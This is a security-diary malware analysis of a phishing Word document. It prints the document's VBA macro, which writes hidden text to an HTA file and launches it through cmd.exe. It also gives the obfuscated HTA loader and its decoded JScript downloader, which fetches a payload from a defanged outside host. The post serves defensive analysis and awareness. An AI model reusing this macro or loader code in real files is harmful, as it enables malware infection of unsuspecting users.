Malicious Microsoft Word Remains A Key Infection Vector
Despite Microsoft's attempts to make its Office suite more secure and disable many automatic features, despite the fact that users are warned that suspicious documents should not be opened, malicious Word documents remain a key infection vector today. One of our readers (thanks Joel!) shared a sample that he received and, unfortunately, opened on his computer. The document was delivered to him via a spoofed email (sent by a known contact). The document ("legal paper.08.04.2021.doc") was delivered in a protected ZIP archive and has a VT score of 11/58[1]. This remains a very low score for a simple Word document. It deserved to have a look at the content.
The document has a classic trick: it asks the user to enable the macro by pretending to have been generated by a previous Word version. Let's check the macro:
remnux@remnux:/MalwareZoo/20210805$ oledump.py legal\ paper.08.04.2021.doc A: editdata.mso A1: 438 'PROJECT' A2: 86 'PROJECTwm' A3: M 1352 'VBA/ThisDocument' A4: 2898 'VBA/_VBA_PROJECT' A5: 1720 'VBA/__SRP_0' A6: 190 'VBA/__SRP_1' A7: 532 'VBA/__SRP_2' A8: 156 'VBA/__SRP_3' A9: M 1693 'VBA/coreHtml' A10: 604 'VBA/dir' A11: M 1494 'VBA/varBr' remnux@remnux:/MalwareZoo/20210805$ oledump.py legal\ paper.08.04.2021.doc -s 3 -v Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub document_open() i "", "cmd.exe /s /c " End Sub remnux@remnux:/MalwareZoo/20210805$ oledump.py legal\ paper.08.04.2021.doc -s 9 -v Attribute VB_Name = "coreHtml" Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = False Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Public Function procComps(varIFunc) procComps = "c:\\programdata\\index.h" & varIFunc End Function Public Sub compsTo(brCodeVar, varIFunc) Open brCodeVar For Output As #1 Print #1, varIFunc Close #1 End Sub remnux@remnux:/MalwareZoo/20210805$ oledump.py legal\ paper.08.04.2021.doc -s 11 -v Attribute VB_Name = "varBr" Function procCoreFor() procCoreFor = ActiveDocument.Content End Function Public Sub i(iDefineHtml, forBrCompare) Set toFor = New coreHtml iDefineHtml = toFor.procComps("TA") coreProcCode = Replace(procCoreFor, "tumdl", vbNullString) toFor.compsTo iDefineHtml, coreProcCode Call VBA.Shell(forBrCompare & iDefineHtml) End Sub
The malicious macro is split into three streams and is not very complex:
document_open()
calls i()
where an HTA file name is generated ("C:\Programdata\index.hta"). The content of this file is extracted from the document itself (via the "ActiveDocument.Content" object property). Indeed, if we select all the text, increase the font size, and change the color we see this in the Word document:
Simple but it remains effective! The code is polluted with "tumdl" strings that are removed on the fly:
coreProcCode = Replace(procCoreFor, "tumdl", vbNullString)
Here is the (beautified) code:
<html> <body> <div id='varCompsBr'>fX17KWUoaGN0YWN9O2Vzb2xjLmVsYmFpcmFWcmFWcmF2OykyICwiZ3BqLmNudUZlbmlmZURlbmlmZWRcXGNpbGJ1cFxcc3Jlc3VcXDpjIihlbGlmb3RldmFzLmVsYmFpcmFWcmFWcmF2Oyl5ZG9iZXNub3BzZXIuY251RmxtdEhjbnVmKGV0aXJ3LmVsYmFpcmFWcmFWcmF2OzEgPSBlcHl0LmVsYmFpcmFWcmFWcmF2O25lcG8uZWxiYWlyYVZyYVZyYXY7KSJtYWVydHMuYmRvZGEiKHRjZWpiT1hldml0Y0Egd2VuID0gZWxiYWlyYVZyYVZyYXYgcmF2e3lydHspMDAyID09IHN1dGF0cy5jbnVGbG10SGNudWYoZmk7KShkbmVzLmNudUZsbXRIY251ZjspZXNsYWYgLCJ2NjJSWHJtalA9ZW1pdCZiSk9Od3YwN1VKNHlRNWc9ZWdhcCZuUDFmSFpQUzBTamZ6VHd2YVdZazZyPWZlcj83cm9neWsvZktBVERhYjlwTGV1ekd3TkZCanVKRnAveDQ4b202b3hOTEZOMFJSRkVEbWJTVTZUa1dzT2N3bXU2VmNXZVZUSWQvT2VwV05VVkNHcWFNWnJyT002dkR6M0REbnRES0swTG5JT1BwTnk1ZjJtalBZL3hDbm1odm5lc0c2L0ZiQWh1TS9HeTdnaUZrZlBNNERrMTYvNUhFUjZGQnNJaHo4N2lyclcxRHBtZTN5MGM2VTNJRzE5M2RWdDBCN0QvaGZkYi9tb2MuZGxhbnJlYnJvdGF2ZWxlLy86cHR0aCIgLCJURUciKG5lcG8uY251RmxtdEhjbnVmOykicHR0aGxteC4ybG14c20iKHRjZWpiT1hldml0Y0Egd2VuID0gY251RmxtdEhjbnVmIHJhdg==w1XrZOykiZ3BqLmNudUZlbmlmZURlbmlmZWRcXGNpbGJ1cFxcc3Jlc3VcXDpjIDIzcnZzZ2VyIihudXIuc3Btb0NvVGVyYXBtb2M7KSJ0Y2VqYm9tZXRzeXNlbGlmLmduaXRwaXJjcyIodGNlamJPWGV2aXRjQSB3ZW4gPSByQmVsYmFpcmFWcm9mIHJhdjspImxsZWhzLnRwaXJjc3ciKHRjZWpiT1hldml0Y0Egd2VuID0gc3Btb0NvVGVyYXBtb2MgcmF2w1XrZbG9ydG5vY3RwaXJjcy5sb3J0bm9jdHBpcmNzc20=</div> <div id='forToCode'>UVWXYZabcdefghijklmnopqrst</div> <script language='javascript'> function forCoreCore(forCodeHtml){ return(new ActiveXObject(forCodeHtml)); } function defineHtmlVar(codeCompsVar){ return(toHtmlBr.getElementById(codeCompsVar).innerHTML); } function toToFunc(){ return('ABCDEFGHIJKLMNOPQRST' + defineHtmlVar('forToCode') + 'uvwxyz0123456789+/'); } function varVarCode(htmlProcHtml){ return('cha' + htmlProcHtml); } function compareBrFunc(s){ var e={}; var i; var b=0; var c; var x; var l=0; var a; var forProcDefine=''; var w=String.fromCharCode; var L=s.length;var forToFunc = varVarCode('rAt');for(i=0;i<64;i++){e[toToFunc()[forToFunc](i)]=i;}for(x=0;x<L;x++){c=e[s[forToFunc](x)];b=(b<<6)+c;l+=6;while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(forProcDefine+=w(a));}}return(forProcDefine); }; function varVariableVar(brForHtml){ return brForHtml.split('').reverse().join(''); } function coreForComps(htmlProcHtml){ return(varVariableVar(compareBrFunc(htmlProcHtml))); } function compareI(htmlProcHtml, varVarProc){ return(htmlProcHtml.split(varVarProc)); } compsBrVar = window; toHtmlBr = document; compsBrVar.resizeTo(3, 3); compsBrVar.moveTo(-121, -121); var procITo = compareI(defineHtmlVar('varCompsBr'), 'w1XrZ'); var toIComps = coreForComps(procITo[0]); var toProcHtml = coreForComps(procITo[1]); var defineDefineCode = coreForComps(procITo[2]); </script> <script language="javascript">function compsCodeI(codeCompsFor, codeVarCode){var toDefineVar = function(brForHtml){if(codeVarCode !== ""){return(new Function(brForHtml));}};toDefineVar(codeCompsFor)();} </script> <script language='vbscript'>Function compareCompareFunc(varCompsBr):Set compareHtmlBr = CreateObject(defineDefineCode):With compareHtmlBr:.language = "jscript":.timeout = 60 * 1000 * 8:End With:compareHtmlBr.eval(compsCodeI(varCompsBr, "htmlProcHtml")):End Function</script> <script language='vbscript'>Call compareCompareFunc(toIComps) </script> <script language='vbscript'>Call compareCompareFunc(toProcHtml) </script> <script language='javascript'>compsBrVar['close'](); </script> </body> </html>
The first Base64 encoded string decodes into (Base64 + reversed string):
var funcHtmlFunc = new ActiveXObject("msxml2.xmlhttp");funcHtmlFunc.open("GET", "hxxp://elevatorbernald[.]com/bdfh/D7B0tVd391GI3U6c0y3empD1Wrri78zhIsBF6REH5/61kD4MPfkFig7yG/MuhAbF/6GsenvhmnCx/YPjm2f5yNpPOInL0KKDtnDD3zDv6MOrrZMaqGCVUNWpeO/dITVeWcV6umwcOsWkT6USbmDEFRR0NFLNxo6mo84x/pFJujBFNwGzueLp9baDTAKf/kygor7?ref=r6kYWavwTzfjS0SPZHf1Pn&page=g5Qy4JU70vwNOJb&time=PjmrXR26v", false);funcHtmlFunc.send();if(funcHtmlFunc.status == 200){try{var varVarVariable = new ActiveXObject("adodb.stream");varVarVariable.open;varVarVariable.type = 1;varVarVariable.write(funcHtmlFunc.responsebody);varVarVariable.savetofile("c:\\users\\public\\defineDefineFunc.jpg", 2);varVarVariable.close;}catch(e){}}
The next payload was not available for download:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "kygor7" was not found on this server.</p></body></html>
I tried several User-Agents, IP addresses but impossible to get the file.
As you can see with this sample, no need to implement very complex obfuscation techniques to bypass most antivirus solutions. The best protection remains to remain suspicious when a document is received "out of nowhere". Stay safe!
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Reverse-Engineering Malware: Malware Analysis Tools and Techniques | Amsterdam | Jan 20th - Jan 25th 2025 |
Comments